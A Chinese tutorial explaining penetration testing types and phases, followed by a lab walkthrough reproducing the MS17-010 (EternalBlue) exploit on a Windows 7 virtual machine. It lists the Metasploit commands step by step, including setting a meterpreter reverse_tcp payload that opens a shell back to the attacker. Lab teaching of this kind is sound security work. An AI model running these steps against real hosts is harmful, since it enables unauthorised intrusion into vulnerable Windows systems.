什么是渗透测试(●◡●)?
渗透测试(Penetration Testing),就是一种 通过模拟恶意攻击者的技术与方法,挫败目标 系统安全控制措施,取得访问控制权,并发现 具备业务影响后果安全隐患的一种安全测试与 评估方法。
简单来说渗透测试是通过各种⼿段对⽬标进⾏ ⼀次渗透(攻击),通过渗透来测试⽬标的安 全防护能⼒和安全防护意识。(模拟黑客的各种手段,入侵、攻击目标)
渗透测试分类(●◡●):
黑盒测试(外部测试):模拟真正的外部黑客攻击,所有情报都需要自己去获取。
白盒测试(内部测试): 模拟内部攻击,已知所有情报。
灰盒测试(组合测试):黑客已经非法访问组织的网络基础设施文档。已获得应用程序或系统的部分情报。
渗透测试流程(●◡●):
- 前期交互
渗透测试团队与客户组织进行交互讨论,最重要的是确定渗透测试的范围、目标、限制条件以及服务合同细节。该阶段通常涉及收集客户需求、准备测试计划、定义测试范围与边界、定义业务目标、项目管理与规划等活动 - 获取情报
在目标范围确定之后,将进入情报搜集(Information Gathering)阶段, 渗透测试团队可以利用各种信息来源与搜集技术方法,尝试获取更多关于目标组织网络拓扑、系统配置与安全防御措施的信息。
渗透测试者可以使用的情报搜集方法包括公开来源信息查询、Google Hacking、社会工程学、网络踩点、扫描探测、被动监听、服务查点等。而对目标系统的情报探查能力是渗透测试者一项非常重要的技能,情报搜集是否充分在很大程度上决定了渗透测试的成败,因为如果你遗漏关键的情报信息,你将可能在后面的阶段里一无所获 - 威胁建模
在搜集到充分的情报信息之后,渗透测试团队的成员们停下敲击键盘,大家聚到一起针对获取的信息进行威胁建模(Threat Modeling)与攻击规划。 这是渗透测试过程中非常重要,但很容易被忽视的一个关键点。 通过团队共同的缜密情报分析与攻击思路头脑风暴,可以从大量的信息情报中理清头绪,确定出最可行的攻击通道 - 漏洞分析
在确定出最可行的攻击通道之后,接下来需要考虑该如何取得目标系统的访问控制权,即漏洞分析(Vulnerability Analysis)阶段。 在该阶段,渗透测试者需要综合分析前几个阶段获取并汇总的情报信息,特别是安全漏洞扫描结果、服务查点信息等,通过搜索可获取的渗透代码资源, 找出可以实施渗透攻击的攻击点,并在实验环境中进行验证。在该阶段,高水平的渗透测试团队还会针对攻击通道上的一些关键系统与服务进行安全漏 洞探测与挖掘,期望找出可被利用的未知安全漏洞,并开发出渗透代码,从而打开攻击通道上的关键路径。 - 渗透攻击
渗透攻击(Exploitation)是渗透测试过程中最具有魅力的环节。在此环节中,渗透测试团队需要利用他们所找出的目标系统安全漏洞,来真正入侵系统当中,获得访问控制权。 渗透攻击可以利用公开渠道可获取的渗透代码,但一般在实际应用场景中, 渗透测试者还需要充分地考虑目标系统特性来定制渗透攻击,并需要挫败目标网络与系统中实施的安全防御措施,才能成功达成渗透目的。在黑盒测试 中,渗透测试者还需要考虑对目标系统检测机制的逃逸,从而避免造成目标组织安全响应团队的警觉和发现 - 后渗透攻击
后渗透攻击(Post Exploitation)是整个渗透测试过程中最能够体现渗透测试团队创造力与技术能力的环节。前面的环节可以说都是在按部就班地完成非常普遍的目标,而在这个环节中,需要渗透测试团队根据目标组织的业务经营模式、保护资产形式与安全防御计划的不同特点,自主设计出攻击目标,识别关键基础设施,并寻找客户组织最具价值和尝试安全保护的信息和资产,最终达成能够对客户组织造成最重要业务影响的攻击途径。 在不同的渗透测试场景中,这些攻击目标与途径可能是千变万化的,而设置是否准确并且可行,也取决于团队自身的创新意识、知识范畴、实际经验和技术能力 - 形成报告
渗透测试过程最终向客户组织提交,取得认可并成功获得合同付款的就是一份渗透测试报告(Reporting)。这份报告凝聚了之前所有阶段之中渗透测试团队所获取的关键情报信息、探测和发掘出的系统安全漏洞、成功渗透攻击的过程,以及造成业务影响后果的攻击途径,同时还要站在防御者的角度上,帮助他们分析安全防御体系中的薄弱环节、存在的问题,以及修补与升级技术方案。
主机攻防演练(●◡●):
MS17-010(永恒之蓝)复现
环境:
攻击机:Kali-Linux-2021 虚拟机IP:192.168.64.128
靶机:Windows7 虚拟机IP:192.168.64.129
工具:
Nmap:网络扫描192.168.64.128工具
Metasploit:渗透框架,能获取、开发并对计算机软件漏洞实施攻击。它本身附带数千个已知软件漏洞的专业级漏洞攻击工具
复现😍😍:
打开Kali终端(Open Terminal Here)😃
切换管理员权限😃
sudo su
使用Nmap工具进行扫描😃
nmap -T4 -A -v IP
发现445端口开放!可以尝试进行MS17-010漏洞攻击!!😍😍
通过msfconsole命令启动Metasploit😃
msfconsole
启动成功后搜索有关MS17-010的有关模块😃
search ms17-010
攻击模块😎:exploit
辅助模块😊:auxiliary
这里先选3辅助扫描模块来确定漏洞是否存在😃
use 3
查看该模块需要修改的参数😃
show options
required中yes选项是必须要填的,可以看到缺少了RHOSTS
设置目标主机(rhosts)😃
set rhosts IP
再去查看参数的话就可以发现RHOSTS已经填好了😃
进行运行扫描模块😃
run
存在ms17-010漏洞!😍😍😍
使用攻击模块!!😍😍😍😍😍😍😍
use 0
查看一下参数信息
设置攻击载荷,这里默认为windows/x64/meterpreter/reverse_tcp😍
set payload windows/x64/meterpreter/reverse_tcp
然后设置受害者IP,攻击者IP😍
set rhosts IP
set lhost IP
检查参数,确认无误后开始攻击😍
攻击成功!💯💯💯
接下来可以使用meterpreter进行后渗透操作(/ω\)
截屏:
screenshot
步骤总结:
打开Kali终端
切换管理员权限
使用Nmap工具进行扫描
发现445端口开放!可以尝试进行MS17-010漏洞攻击
通过msfconsole命令启动Metasploit
启动成功后搜索有关MS17-010的有关模块
先选3辅助扫描模块来确定漏洞是否存在
设置目标主机
进行运行扫描模块
使用攻击模块
设置攻击载荷默认为windows/x64/meterpreter/reverse_tcp
设置受害者IP,攻击者IP
检查参数,确认无误后开始攻击
维护网络安全,人人有责!
以上内容仅代表个人观点,仅作参考。